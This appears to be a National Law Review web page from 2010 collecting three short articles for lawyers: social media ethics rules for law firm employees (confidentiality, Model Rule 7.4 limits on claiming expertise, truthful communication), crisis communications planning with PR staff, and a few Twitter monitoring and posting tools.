  • Employees should avoid forums where there is little control over what is known to be confidential information.  In the world of social networking, there is often a breach of confidentiality when someone emails an attorney or posts a comment congratulating him/her on representation of a specific client or on a specific case. 
  • Respect the privacy of other employees and of the opinions of others.  Before sharing a comment, post, picture, or video about a client or other employee through any type of social media or network, his/her consent is not only a courtesy, it is a requirement. 
  • Get Marketing/ PR departments involved when responding to certain inaccurate, accusatory or negative comments about the firm or any firm clients.

Expertise (Model Rule of Professional Conduct 7.4)

  Quick Reference
  Do

  • Allow recommendations.
  • Review and monitor all recommendations carefully.
  • Edit or hide recommendations as needed to remove any verbiage that states you are “better”, “the best”, “expert”, “specialized” or “certified”.

Do NOT

  • Be false or misleading in online credentials.
  • Use the words “better” or “the best” in credentials or when recommending others.
  • Use the verbiage “expert”, “specialist” or “certified” to describe experience unless certified by an organization that is accredited by the ABA or the state bar. 
   

Many lawyers are considered experts or specialists by their peers in select areas of law.  However, using the expert designation can only be done with appropriate approval. Model Rule of Professional Conduct 7.4 generally states that a lawyer may communicate the fact that the lawyer does or does not practice in particular fields of law.  In addition, a lawyer may promote the engagement in specific areas of practice.  However, a lawyer shall NOT state or imply that a lawyer is an expert or a certified specialist unless the lawyer has been certified by an organization that is accredited by the ABA or the state bar. 

This model rule affects the use of credentials and recommendations on social media sites.  What are the key areas to include in law firm policies?

  • Employees should never be false and misleading in online credentials.  All employees should maintain complete accuracy in all online bios and ensure no embellishment. 
  • Recommendations should be used carefully. Employees should review all recommendations created for them for any embellishment (i.e. use of the words better or best) expertise, certification or specialization listing.   Edit or hide recommendations as needed.
  • Employees should not include the words “expert”, “certified”, or “specialized” in their credentials unless authorized to do so.

Expertise and specialization is heavily regulated at the state level.  Some states have gone further in their restricted verbiage. State rules of ethics should be reviewed prior to any policy drafting.

General Communications (Model Rule of Professional Conduct 7 Series)

The final social media ethics concern revolves around general law firm and lawyer communication. In personal and especially professional communication, all communications must be truthful and accurate. 

  Quick Reference
  Do

  • Credit appropriately
  • Fact check
  • Spell & grammar check
  • Correct errors promptly
  • Be transparent
  • Follow firm policies
  • Obey the law

Do NOT

  • Personally attack, become involved in an online fights or hostile communication.
  • Solicit or use commercial speech.  The content must be informative only. Nothing should propose a commercial transaction
   

Law firms and law departments should consider the following general policy guidelines when drafting social media policies. 

  • Identify all copyrighted or borrowed material with citations and links.  When publishing any material online that includes another’s direct or paraphrased quotes, thoughts, ideas, photos, or videos, always give credit to the original material or author, where applicable. 
  • Ensure material is accurate, truthful, and without factual error prior to posting. 
  • Spell and grammar check everything.
  • Correct any mistakes promptly.
  • When participating social media sites in a professional manner, disclose identity and any firm affiliation.  Never use a false name, alias, or be anonymous.  Many courts have looked poorly on law firms and lawyers using alias names while on social media sites.
  • Follow all firm policies and procedures regarding online communications.  Be respectful and do not make statements that are defamatory; racially, sexually, or otherwise insensitive or offensive; or otherwise improper or likely to conflict with the interests of the firm, its employees, clients, affiliates and others, including competitors. 
  • Follow the site’s terms and conditions of use.
  • Do not post any information or conduct any online activity that may violate applicable local, state or federal laws or regulations.
  • Avoid personal attacks, online fights, and hostile communications. 
  • Employees should never solicit or use commercial speech.  Employees should not use a site as a way to directly solicit business for the firm.  While a blog itself is not subject to the limitation on commercial speech, the content of a blog can be.  The content must be informative only, and nothing in the content should propose a commercial transaction or be for the purpose of directly gaining a commercial transaction.

Conclusion

As discussed in this article, there are many ethical considerations when law firms and their employees decided to use social media sites.  Similar to email emerging as the main form of business communication ten (10) years ago, social media is now the communication wave of the future. This new format is how the next generation of leaders presently lives and communicates day to day.  The legal community must embrace the new technology and the opportunity to educate employees.


[1] Model Rules of Professional Conduct are professional standards that serve as models of the regulatory law governing the legal profession.  However, each state board of professional responsibility has additional or supplemental states rules of ethics. State rules should be considered prior to policy drafting.

©2010 Baker, Donelson, Bearman, Caldwell & Berkowitz, PC. All Rights Reserved.

About the Author:

Meredith L. Williams is Baker Donelson’s Director of Knowledge Management.  Although trained as a lawyer, she is not actively engaged in the practice of law.  Instead, she oversees BakerNet, the Firm’s industry-leading intranet, and coordinates strategic growth on behalf of the Firm in knowledge management, competitive intelligence and technology.  Ms. Williams is widely recognized as a leading authority in knowledge management issues for the legal field, and is a frequent presenter and author on knowledge management and competitive intelligence. 

Ms. Williams is a member of the Association of Women Attorneys and the American, Tennessee and Memphis Bar Associations. In addition, Ms. Williams is Conference Vice President for the International Legal Technology Association 2010-2011. She is a recipient of the Dean’s Distinguished Service Award from the University Of Memphis Cecil C. Humphreys School Of Law for her volunteer work.   901-577-2353 / www.BakerDonelson.com

Not All Press is Good Press: Managing a Crisis

A friendly reminder from the National Law Review’s Business of Law Section  —Not All Press is Good Press: Managing a Crisis from Gina F. Rubel of Furia Rubel Communications, Inc. 

New York Times reporter, Peter S. Goodman, hit the nail on the head in his article, In Case of Emergency: What Not to Do. Goodman shares with us the realities of bad crisis management which equals bad press. The examples he sites are Toyota, BP (who even my 10-year-old daughter sees as an environmental villain), Goldman Sachs, and others. He also sites “image implosion” examples of LeBron James and Mel Gibson, although he skipped over Michael Vick. 

Goodman shares great points and the entire article is worth a solid read (or two). However, there are some important points all which are dependent upon the situation you are dealing with. 1) Heed established protocol: When the story is bad, disclose it immediately; however 2) there are times when silence is better. Tiger Woods can tell you why. And 3) don’t say “anything” if there’s a chance it will lead to hypocrisy and ridicule and especially if the media can tear you apart word for word. 

Goodman also reminds us that lawyers and P.R. practitioners often find themselves in a battle when it comes to handling crisis communications. This is something I know all too well – as a lawyer and publicist who handles litigation publicity. I have found my Id and Ego in battle over the best way to handle a situation many times.  (Don’t ask me if the lawyer in me is the Id or the Ego – the public relations practitioner seems to win out in me every time.) 

Goodman says, “In times of crisis, communications professionals and lawyers often pursue conflicting agendas. Communications strategists are inclined to mollify public anger with expressions of concern, while lawyers warn that contrition can be construed as admissions of guilt in potentially expensive lawsuits.” Both are correct and there can be a happy medium when they play nicely in the sandbox. 

At one point in the article, Goodman quotes Eric Dezenhall, a communications strategist in Washington, D.C., who worked in the White House for President Ronald Reagan. He says that a corporation in crisis is “absolute chaos” and that the lawyers and P.R. consultants “despise each other.” Although this isn’t far from the truth during a crisis, it makes a great case for advance crisis communications planning – a practice where most corporations (and lawyers) miss the mark. 

A crisis communications plan anticipates issues before they arise. It deals in scenarios and responses. It’s the “if this then that” game and it works. This process also works for lawyers dealing with high-stakes issues for their companies and clients. For example, when a law firm is going to file a complaint on behalf of a client, and the complaint deals with well-known entities, it behooves the law firm to understand who might see that “once-filed public” document and what questions could be asked. In many courthouses, journalists are assigned to review the public filings for the day to uncover stories. Just because a firm or client doesn’t request media attention doesn’t mean they are not going to get it. 

So what is a law firm to do? Employ media strategy. Ask: “If a member of the media calls about this complaint, what are we going to say? What if they reach out to our adversary first? Should we disclose the filing or is it better to take a wait-and-see approach with a lawyer-approved statement in place? Who will serve as the spokesperson? Who are the affected audiences? Do they need to know about the lawsuit in advance of filing? How does this affect the company’s bottom line and what are we going to do about it?” These are just a few of the questions that need to be asked. 

On the other hand, companies susceptible to lawsuits should also play the “if this then that” game. Rather than be on the defense, employ proper planning before a crisis hits. Defense firms and P.R. firms alike can provide added value to clients by being proactive – thus putting the clients on the offense whenever possible. 

At the end of the day, it is important that attorneys and public relations practitioners work together with the same agenda. Determine what needs to be accomplished and the best road to get there – even before beginning the journey.

© 2010 Furia Rubel Communications, Inc. All rights reserved.

About the Author:

Gina F. Rubel Gina Rubel is the president and CEO of Furia Rubel Communications (www.furiarubel.com). A public relations expert, attorney, and author, Gina teaches professional service firms nationwide how to use integrated communications to gain credibility, to get recognized and to build and retain business. She has been named one of Pennsylvania’s Best 50 Women in Business and a Philadelphia Business Journal Woman of Distinction.  215-340-0480 www.furiarubel.com

 

Easy Tweeting – A Few Suggested Applications to Simplify Twitter

From the Business of Law Section of the National Law Review -by  Tom Ciesielka of TC Public Relations   suggests some applications that help streamline Twitter use for busy attorneys – read on:

For all those lawyers out there on Twitter, I’d like to suggest a few programs to simplify your Twitterverse.

TweetBeep

This web-based application enables users to set up a search for any keyword or phrase on Twitter, and receive hourly updates via email when any tweets include that keyword, phrase or hashtag. TweetBeep is an easy tool for tracking talk on Twitter about your firm, website, events or services. By monitoring the conversation about your firm, you can make sure you are managing your reputation and engaging with people who are interested in you – people who can become potential clients. You can also use TweetBeep as an application to measure the impact and engagement level of various cases, or track the reactions to your firm’s announcements or legal victories. It can also be a valuable tool for industry research if you monitor industry-specific terms (such as “intellectual property”) or even a competitor’s name. 

Tweet All About It

Sometimes it takes too much time to think about what to tweet (and we all know time is money). Tweet All About It makes it easy as “highlight” and “right click.” This downloadable program allows you tweet pieces of text from websites viewed on Firefox or Internet Explorer by highlighting the text, right clicking and selecting “Tweet All About It.” The text will automatically be tweeted from your Twitter username, and you will have saved time, energy & potentially, money.

Monitter

Anyone, even those without Twitter accounts, can go on the Monitter website and search and track keywords being using on Twitter (somewhat similar to TweetBeep). Users enter words into the search box and instantly see relevant tweets streaming in real-time. They can also send tweets or retweet to their accounts directly from the Monitter interface. You can download the widget for your website to keep track of what people are saying on Twitter about you or your firm.  It also can help you identify social media influencers for a certain legal topic or in a specific conversation and it allows you to quickly respond to or join those conversations.

This posting is republished with permission from the Chicago Lawyer Magazine Blog “Around the Watercooler” located at:  http://h20cooler.wordpress.com/2010/

Copyright © 2010 TC Public Relations